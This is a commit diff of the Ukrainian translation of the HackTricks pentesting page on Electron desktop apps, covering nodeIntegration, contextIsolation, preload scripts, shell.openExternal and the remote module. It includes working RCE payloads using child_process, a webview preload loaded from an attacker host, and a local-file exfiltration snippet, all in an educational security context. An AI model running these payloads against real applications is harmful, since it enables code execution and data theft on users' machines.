mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
e6a1a72316
commit
f179714cd7
@ -4,14 +4,14 @@
|
||||
|
||||
## Вступ
|
||||
|
||||
Electron поєднує локальний бекенд (з **NodeJS**) і фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів.
|
||||
Electron поєднує локальний бекенд (з **NodeJS**) та фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів.
|
||||
|
||||
Зазвичай код Electron-застосунку можна знайти всередині `.asar` архіву; щоб отримати код, його потрібно екстрагувати:
|
||||
Зазвичай код Electron-додатка можна знайти всередині `.asar` пакунку; щоб отримати код, потрібно його витягти:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
У вихідному коді Electron app, всередині файлу `packet.json`, вказано файл `main.js`, у якому встановлено налаштування безпеки.
|
||||
У вихідному коді Electron-додатка, всередині `packet.json`, можна знайти вказаний файл `main.js`, де встановлено налаштування безпеки.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -20,11 +20,11 @@ npx asar extract-file app.asar main.js #Extract just a file
|
||||
Electron має 2 типи процесів:
|
||||
|
||||
- Головний процес (має повний доступ до NodeJS)
|
||||
- Рендер-процес (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
|
||||
- Рендерер (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
|
||||
|
||||
.png>)
|
||||
|
||||
**Рендер-процес** — це вікно браузера, яке завантажує файл:
|
||||
A **рендерер** буде вікном браузера, що завантажує файл:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE** в Electron application або іншим вразливостям, якщо **налаштування правильно встановлені**.
|
||||
Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE додатком Electron** або іншим вразливостям, якщо **налаштування встановлені правильно**.
|
||||
|
||||
Electron application **може отримувати доступ до пристрою** через Node APIs, хоча це можна налаштувати, щоб запобігти цьому:
|
||||
Додаток Electron **може отримати доступ до пристрою** через Node APIs, хоча це можна налаштувати, щоб запобігти цьому:
|
||||
|
||||
- **`nodeIntegration`** - за замовчуванням `off`. Якщо увімкнено, дозволяє доступ до Node API з **renderer process**.
|
||||
- **`contextIsolation`** - за замовчуванням `on`. Якщо `off`, main та renderer processes не ізольовані.
|
||||
- **`nodeIntegration`** - за замовчуванням `off`. Якщо увімкнено, дозволяє доступ до node-функцій з renderer process.
|
||||
- **`contextIsolation`** - за замовчуванням `on`. Якщо вимкнено, main та renderer процеси не ізольовані.
|
||||
- **`preload`** - порожній за замовчуванням.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням `off`. Обмежує дії, які може виконувати NodeJS.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням вимкнений. Обмежує дії, які може виконувати NodeJS.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`** - за замовчуванням `off`.
|
||||
- Якщо **`nodeIntegration`** **увімкнено**, це дозволяє використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron application.
|
||||
- Якщо **`nodeIntegration`** **відключено**, то preload-скрипти завантажуватимуться в iframe
|
||||
- Якщо **`nodeIntegration`** **увімкнено**, це дозволить використовувати **Node.js APIs** на веб-сторінках, які **завантажуються в iframes** всередині Electron-додатку.
|
||||
- Якщо **`nodeIntegration`** **вимкнено**, тоді preload-скрипти завантажуватимуться в iframe
|
||||
|
||||
Example of configuration:
|
||||
```javascript
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Кілька **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Деякі **RCE payloads** з [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Перехоплення трафіку
|
||||
### Захоплення трафіку
|
||||
|
||||
Змініть конфігурацію start-main і додайте використання proxy, наприклад:
|
||||
Змініть конфігурацію start-main та додайте використання proxy, наприклад:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Якщо ви можете виконати локально Electron App, можливо, ви зможете змусити його виконувати довільний javascript code. Див. як у:
|
||||
Якщо ви можете локально виконати Electron App, можливо, ви зможете змусити його виконувати довільний javascript код. Див. як у:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -112,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликом `require()`. Наприклад, спосіб запустити додаток calc у Windows такий:
|
||||
Якщо **nodeIntegration** встановлено в **on**, JavaScript веб-сторінки може використовувати можливості Node.js просто викликом `require()`. Наприклад, спосіб запустити calc на Windows такий:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Скрипт, вказаний у цьому налаштуванні, l**oaded before other scripts in the renderer**, тому має **необмежений доступ до Node APIs**:
|
||||
Скрипт, вказаний у цьому налаштуванні, **завантажується перед іншими скриптами у renderer**, тому має **необмежений доступ до Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -149,17 +149,17 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **Якщо `contextIsolation` увімкнено, це не працюватиме**
|
||||
> [!NOTE] > **Якщо `contextIsolation` увімкнено, це не спрацює**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
|
||||
The _**contextIsolation**_ вводить **розділені контексти між скриптами веб-сторінки та внутрішнім кодом Electron на JavaScript**, щоб виконання JavaScript одного коду не впливало на інше. Це необхідна функція для усунення можливості RCE.
|
||||
|
||||
If the contexts aren't isolated an attacker can:
|
||||
Якщо контексти не ізольовані, атакуючий може:
|
||||
|
||||
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
|
||||
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
|
||||
3. **Trigger** the use of **overwritten function**
|
||||
1. Виконати **arbitrary JavaScript in renderer** (XSS або навігацію на зовнішні сайти)
|
||||
2. **Перезаписати вбудований метод**, який використовується в preload або внутрішньому коді Electron, щоб захопити функцію
|
||||
3. **Спровокувати** використання **перезаписаної функції**
|
||||
4. RCE?
|
||||
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||
@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Обхід події click
|
||||
### Обхід події кліку
|
||||
|
||||
If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click
|
||||
Якщо при кліку по посиланню застосовано обмеження, ви можете їх обійти, **виконавши середній клік** замість звичайного лівого кліку
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE через shell.openExternal
|
||||
## RCE via shell.openExternal
|
||||
|
||||
Для детальнішої інформації про ці приклади див. [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Для отримання додаткової інформації про ці приклади перегляньте [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) та [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Під час розгортання Electron desktop application важливо переконатися у правильних налаштуваннях `nodeIntegration` та `contextIsolation`. Вважається, що **client-side remote code execution (RCE)**, спрямовані на preload scripts або нативний код Electron з main process, ефективно запобігаються при таких налаштуваннях.
|
||||
Під час розгортання десктопного додатку Electron критично важливо правильно налаштувати `nodeIntegration` та `contextIsolation`. Встановлено, що **client-side remote code execution (RCE)**, спрямований на preload scripts або Electron's native code з main process, ефективно запобігається за наявності цих налаштувань.
|
||||
|
||||
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні обробники подій, які є критичними для безпеки та функціональності додатку:
|
||||
Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні event listeners, які критично важливі для безпеки та функціональності додатку:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Ці обробники подій **перевизначаються десктопним додатком**, щоб реалізувати власну **бізнес-логіку**. Додаток визначає, чи має посилання відкриватися всередині програми чи у зовнішньому веб-браузері. Зазвичай це рішення приймається в функції `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання має відкриватися зовнішньо з використанням функції `shell.openExternal`.
|
||||
Ці слухачі **перевизначаються десктоп‑додатком**, щоб реалізувати його власну **бізнес‑логіку**. Додаток оцінює, чи слід відкривати перехідне посилання внутрішньо або у зовнішньому веб‑браузері. Це рішення зазвичай приймається через функцію `openInternally`. Якщо ця функція повертає `false`, це означає, що посилання слід відкрити зовні з використанням функції `shell.openExternal`.
|
||||
|
||||
**Here is a simplified pseudocode:**
|
||||
**Ось спрощений псевдокод:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та подальшого пояснення цієї теми можна звернутися до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.
|
||||
Рекомендації щодо безпеки Electron JS застерігають від прийняття ненадійного контенту через функцію `openExternal`, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для детальних прикладів та додаткового пояснення з цієї теми можна звернутися до [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.
|
||||
|
||||
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад у `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
У macos функцію `openExternal` можна експлуатувати для виконання довільних команд, наприклад `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Examples of Windows protocol exploits include:**
|
||||
**Приклади експлуатації протоколів Windows включають:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -228,17 +228,17 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + вразливий preload IPC + shell.openExternal
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Цю вразливість можна знайти в **[цьому звіті](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Цю vuln можна знайти в **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
The **webviewTag** is a **застаріла функція** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the **preload context** like:
|
||||
The **webviewTag** — це **застаріла функція**, яка дозволяє використовувати **NodeJS** у **renderer process**, її слід вимкнути, оскільки вона дозволяє завантажити скрипт у preload-контекст, наприклад:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Отже, зловмисник, який зуміє завантажити довільну сторінку, може використати цей тег, щоб **завантажити довільний preload script**.
|
||||
Отже, зловмисник, який зможе завантажити довільну сторінку, може використати цей тег, щоб **load an arbitrary preload script**.
|
||||
|
||||
Потім цей preload script використовували для виклику **вразливої IPC-служби (`skype-new-window`)**, яка викликала викликала **`shell.openExternal`** для отримання RCE:
|
||||
Цей preload script потім використовували для виклику **vulnerable IPC service (`skype-new-window`)**, який викликав **`shell.openExternal`** для отримання RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Читання внутрішніх файлів: XSS + contextIsolation
|
||||
|
||||
**Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`**, аналогічно до `<iframe>`, для читання та exfiltrating локальних файлів. Наведений приклад демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
|
||||
**Вимкнення `contextIsolation` дозволяє використовувати теги `<webview>`, подібно до `<iframe>`, для читання та exfiltrating локальних файлів.** Наведений приклад демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:
|
||||
|
||||
.png>)
|
||||
|
||||
Далі наведено ще один метод для **читання внутрішнього файлу**, який підкреслює критичну вразливість читання локальних файлів в Electron desktop app. Це передбачає ін'єкцію скрипта для експлуатації додатка та exfiltrate даних:
|
||||
Крім того, наведено ще один метод для **читання внутрішнього файлу**, що підкреслює критичну вразливість локального читання файлів в Electron desktop app. Це передбачає впровадження скрипта для експлуатації додатку та exfiltrate data:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -271,45 +271,45 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + старий chromium**
|
||||
## **RCE: XSS + старий Chromium**
|
||||
|
||||
Якщо **chromium**, що використовується додатком, є **старим** і в ньому є **відомі** **вразливості**, можливо, що ви зможете **експлуатувати їх і отримати RCE через XSS**.\\
|
||||
Приклад можна побачити в цьому **описі**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
Якщо **chromium**, який використовується додатком, є **старим** і на ньому є **відомі** **vulnerabilities**, може бути можливим експлуатувати його та отримати RCE через XSS.\
|
||||
You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing через обхід regex для внутрішніх URL**
|
||||
## **XSS Phishing через Internal URL regex bypass**
|
||||
|
||||
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або викрасти внутрішні файли**, тоді ви можете спробувати використати його, щоб **вкрасти облікові дані через phishing**.
|
||||
Припустимо, ви знайшли XSS, але ви **не можете викликати RCE або вкрасти внутрішні файли** — можна спробувати використати його, щоб **вкрасти облікові дані через phishing**.
|
||||
|
||||
Насамперед потрібно зрозуміти, що відбувається, коли ви намагаєтеся відкрити нову URL-адресу, перевіривши JS-код у front-end:
|
||||
Насамперед потрібно знати, що відбувається, коли ви намагаєтесь відкрити новий URL, переглянувши JS-код у front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Виклик **`openInternally`** визначає, чи **link** буде **opened** у **desktop window**, оскільки це посилання, яке належить платформі, **or** чи воно буде відкрито у **browser as a 3rd party resource**.
|
||||
Виклик **`openInternally`** визначає, чи **link** буде **відкрито** у **вікні десктоп-додатку**, оскільки це посилання, що належить платформі, **або** чи воно буде відкрито у **браузері як сторонній ресурс**.
|
||||
|
||||
У випадку, якщо **regex**, який використовується функцією, є **vulnerable to bypasses** (наприклад через **not escaping the dots of subdomains**), атакуючий може зловживати XSS, щоб **open a new window which** буде розміщено в інфраструктурі атакуючого, **asking for credentials** у користувача:
|
||||
У випадку, якщо **regex**, що використовується функцією, є **вразливим до обходів** (наприклад через **неекранування крапок у субдоменах**), зловмисник міг би використати XSS, щоб **відкрити нове вікно, яке** буде розміщене в інфраструктурі атакуючого, **просячи у користувача облікові дані**:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## `file://` Protocol
|
||||
## `file://` Протокол
|
||||
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **власний протокол** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) сторінки, що виконуються через **`file://`**, мають односторонній доступ до всіх файлів на вашій машині, що означає, що уразливості **XSS** можуть бути використані для завантаження довільних файлів із машини користувача. Використання **власного протоколу** запобігає таким проблемам, оскільки ви можете обмежити протокол лише набором конкретних файлів.
|
||||
|
||||
## Remote module
|
||||
## Модуль remote
|
||||
|
||||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
Модуль Electron remote дозволяє **процесам renderer отримувати доступ до API основного процесу**, полегшуючи комунікацію в межах Electron-додатку. Однак увімкнення цього модуля створює суттєві ризики безпеки. Він розширює поверхню атаки додатку, роблячи його більш вразливим до вразливостей, таких як атаки cross-site scripting (XSS).
|
||||
|
||||
> [!TIP]
|
||||
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
|
||||
> Хоча модуль **remote** відкриває деякі API з main до renderer-процесів, не так просто отримати RCE лише шляхом зловживання компонентами. Проте компоненти можуть відкривати чутливу інформацію.
|
||||
|
||||
> [!WARNING]
|
||||
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
|
||||
> Багато додатків, що досі використовують модуль remote, роблять це так, що **потребують увімкнення NodeIntegration** у renderer-процесі, і це є **великою загрозою безпеці**.
|
||||
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||||
Зі версії Electron 14 модуль `remote` може бути увімкнений кількома способами; через міркування безпеки та продуктивності **рекомендується не використовувати його**.
|
||||
|
||||
To enable it, it'd first needed to **увімкнути його в main process**:
|
||||
Щоб його ввімкнути, спочатку потрібно **увімкнути його в основному процесі**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Тоді процес рендерера може імпортувати об'єкти з модуля, наприклад:
|
||||
Тоді renderer process може імпортувати об'єкти з модуля, наприклад:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на деякі цікаві **функції**, які надає об'єкт **`app`** з remote module:
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** вказує на кілька цікавих **функцій**, які надає об'єкт **`app`** з remote module:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Перезапускає** додаток шляхом **закриття** поточного екземпляра та **запуску** нового. Корисно для **app updates** або значних **змін стану**.
|
||||
- **Перезапускає** додаток шляхом **завершення** поточного екземпляра та **запуску** нового. Корисно для **оновлення додатку** або значних **змін стану**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Визначає** або **створює** каталог для зберігання **app logs**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
|
||||
- **Визначає** або **створює** директорію для збереження **логів додатка**. Логи можна **отримати** або **змінити** за допомогою **`app.getPath()`** або **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **protocol**. Можна вказати власний шлях та аргументи за потреби.
|
||||
- **Реєструє** поточний виконуваний файл як **обробник за замовчуванням** для вказаного **протоколу**. За потреби можна вказати **кастомний шлях** і **аргументи**.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Додає** tasks до категорії **Tasks** у **Jump List** (на Windows). Кожне завдання може контролювати, як додаток **запускається** або які **аргументи** передаються.
|
||||
- **Додає** завдання до **категорії Tasks** в **Jump List** (на Windows). Кожне завдання може контролювати, як запускається додаток або які **аргументи** передаються.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Імпортує** PKCS#12 certificate у системне certificate store (лише Linux). Можна використовувати **callback** для обробки результату.
|
||||
- **Імпортує** **PKCS#12 сертифікат** у системне сховище сертифікатів (тільки Linux). Можна використовувати **callback** для обробки результату.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Переміщує** додаток у **Applications folder** (на macOS). Допомагає забезпечити стандартну інсталяцію для користувачів Mac.
|
||||
- **Переміщує** додаток до папки **Applications** (на macOS). Допомагає забезпечити **стандартну інсталяцію** для користувачів Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Встановлює** або **видаляє** кастомний Jump List на Windows. Можна вказати **categories** для організації того, як завдання відображаються користувачу.
|
||||
- **Встановлює** або **видаляє** **кастомний Jump List** на **Windows**. Можна вказати **категорії**, щоб організувати, як завдання відображаються користувачу.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Налаштовує**, які виконувані файли запускаються при вході в систему разом із їхніми **опціями** (лише macOS та Windows).
|
||||
- **Налаштовує**, які **виконувані файли** запускаються при **вході в систему** разом із їхніми **опціями** (тільки macOS і Windows).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences module
|
||||
## systemPreferences модуль
|
||||
|
||||
Це **основний API** для доступу до системних налаштувань та **генерації системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** та **setUserDefault**, всі **є частиною** цього модуля.
|
||||
**основний API** для доступу до системних налаштувань та **генерування системних подій** в Electron. Методи, такі як **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** і **setUserDefault**, усі є **частиною** цього модуля.
|
||||
|
||||
**Приклад використання:**
|
||||
```javascript
|
||||
@ -367,23 +367,23 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Слухає** рідні macOS notifications за допомогою NSDistributedNotificationCenter.
|
||||
* До **macOS Catalina** ви могли sniff **всі** distributed notifications, передаючи **nil** до CFNotificationCenterAddObserver.
|
||||
* Після **Catalina / Big Sur** sandboxed apps все ще можуть **підписуватися** на **багато подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) шляхом реєстрації notifications **за іменем**.
|
||||
* **Слухає** **нативні macOS notifications** через NSDistributedNotificationCenter.
|
||||
* До **macOS Catalina** можна було перехоплювати **всі** distributed notifications, передаючи **nil** в CFNotificationCenterAddObserver.
|
||||
* Після **Catalina / Big Sur** ізольовані додатки все ще можуть **підписуватися** на **багато подій** (наприклад, **screen locks/unlocks**, **volume mounts**, **network activity** тощо) шляхом реєстрації notifications **за іменем**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Взаємодіє** з NSUserDefaults, який зберігає **application** або **global** preferences на macOS.
|
||||
* **Інтерфейсуються** з **NSUserDefaults**, який зберігає **параметри** додатків або глобальні preferences на macOS.
|
||||
|
||||
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **recent file locations** або **географічне розташування користувача**.
|
||||
* **getUserDefault** може **отримувати** чутливу інформацію, таку як **шляхи до нещодавніх файлів** або **географічне розташування користувача**.
|
||||
|
||||
* **setUserDefault** може **змінювати** ці налаштування, потенційно впливаючи на **конфігурацію** додатку.
|
||||
* **setUserDefault** може **змінювати** ці preferences, потенційно впливаючи на **конфігурацію** додатку.
|
||||
|
||||
* У **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults.
|
||||
* В **старіших версіях Electron** (до v8.3.0) був доступний лише **standard suite** NSUserDefaults.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Ця функція показує вказаний файл у файловому менеджері, який **може автоматично виконати файл**.
|
||||
Ця функція показує заданий файл у файловому менеджері, який **може автоматично виконати файл**.
|
||||
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
@ -391,7 +391,7 @@ For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-m
|
||||
|
||||
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
|
||||
|
||||
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
|
||||
Зазвичай його **налаштовують** у файлі **`main.js`** або в шаблоні **`index.html`** через CSP всередині **meta tag**.
|
||||
|
||||
For more information check:
|
||||
|
||||
@ -401,18 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## **Tools**
|
||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для ідентифікації misconfigurations та security anti-patterns в Electron-based applications.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для Electron applications, який використовує Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих сторонніх бібліотек.
|
||||
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
|
||||
Attack chain overview
|
||||
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s leaked ID.
|
||||
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
|
||||
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
|
||||
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
|
||||
|
||||
Example RCE primitive in the final context
|
||||
```js
|
||||
// RCE.html (executed in a Node-enabled webview context)
|
||||
require('child_process').exec('calc.exe'); // Windows
|
||||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||
```
|
||||
Додаткова література щодо проблем довіри postMessage:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||
{{#endref}}
|
||||
|
||||
## **Інструменти**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) — інструмент для виявлення помилок конфігурації та security anti-patterns у додатках на базі Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) — open source плагін для VS Code для додатків Electron, який використовує Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) — для перевірки вразливих сторонніх бібліотек
|
||||
- [**Electro.ng**](https://electro.ng/): Потрібно купити
|
||||
|
||||
## Labs
|
||||
## Лабораторії
|
||||
|
||||
У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) ви знайдете лабораторне завдання для експлуатації вразливих Electron apps.
|
||||
У [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) можна знайти лабораторію для експлуатації вразливих додатків Electron.
|
||||
|
||||
Декілька команд, які допоможуть вам у лабораторній роботі:
|
||||
Декілька команд, які допоможуть вам у лабораторії:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
